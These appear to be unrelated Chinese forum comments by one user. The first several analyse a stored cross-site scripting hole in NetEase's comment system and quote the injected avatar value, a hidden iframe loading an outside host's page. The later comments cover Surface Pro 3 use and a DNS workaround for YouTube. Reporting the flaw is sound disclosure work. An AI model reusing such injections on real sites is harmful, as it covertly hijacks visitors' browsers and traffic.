继续挖一下，
这个评论是一个叫小红军的人发的
http://tie.163.com/reply/myaction.jsp?action=reply&username=a2ptc25rQDE2My5jb20=

注册时间在 2016.02.13 看来可能利用这个漏洞已经非常长的时间了。但手法并不太高明。
没有实验好的东西不要放，特别是导致整个页面的跳转，这样非常容易被人发觉。
如果没有整个页面跳转，我是不会去观察这个问题的。

这里没有网易的人吗？ 有的话，抓紧补了吧！ 否则这个漏洞很好用哦

继续的分析了一下。看上面的 json 代码，应该是 avatar 字段的问题，也就是上传用户头像的部分，用户指定上传的 url 地址没有做检查，所以恶意用户上传了一段： http://img5.cache.netease.com/tie/images/noface80_80.png""><iframe src="&lt;a href=" http:="" <a="" href="http://chatp.jordan2u.com" rel="nofollow noopener">chatp.jordan2u.com="" 23="" test.php"="" rel="nofollow noopener">http://chatp.jordan2u.com/23/test.php" style="display:none"></iframe>.
作为他的头像地址。

而网易这个评论系统在显示的时候，对这段从数据库里提取的代码也没有做检查，导致了这个漏洞的生效。

貌似这一会更坏了， 正在随意的添加 url , 刷流量呢。

主要添加了： https://www.chiphell.com/ 下面大量的 url 地址。

先大量的添加 url ，让客户访问。然后再一一删除，掩盖痕迹。

@shyrock @vtea 人生不如意十之八九。

情理之中啊！！

作为程序员， surface pro3 的笔确实帮助很大。程序员不是光写代码，有纸和笔也非常重要。
sp3 拿着随时记录下自己的想法，很方便，亲身体会。

写代码的时候，带了 k480 的键盘，可以将 surface 竖着放。正常大小字体，一次可以显示 80 行代码。
正常 24 寸屏幕， 1920 分辨率只能显示 50 行。

@maemolee 说的是。扩展性都在键盘上做文章就好。

大家对这种想法不应该嘲笑，而是鼓励。
创新的源泉就在于这些小事。
其实这个想法在成与不成之间，并不是非常遥不可及的事情。
多提出一些专业的思路，也许可以找到可行的方法。

过完年了，google也送礼。youtube支持https模式访问视频了。
用OPenerdns: 42.120.21.30 。
浏览器直接就可以看https://www.youtube.com了。视频还挺流畅的。

OpenerDNS项目地址：https://code.google.com/p/openerdns/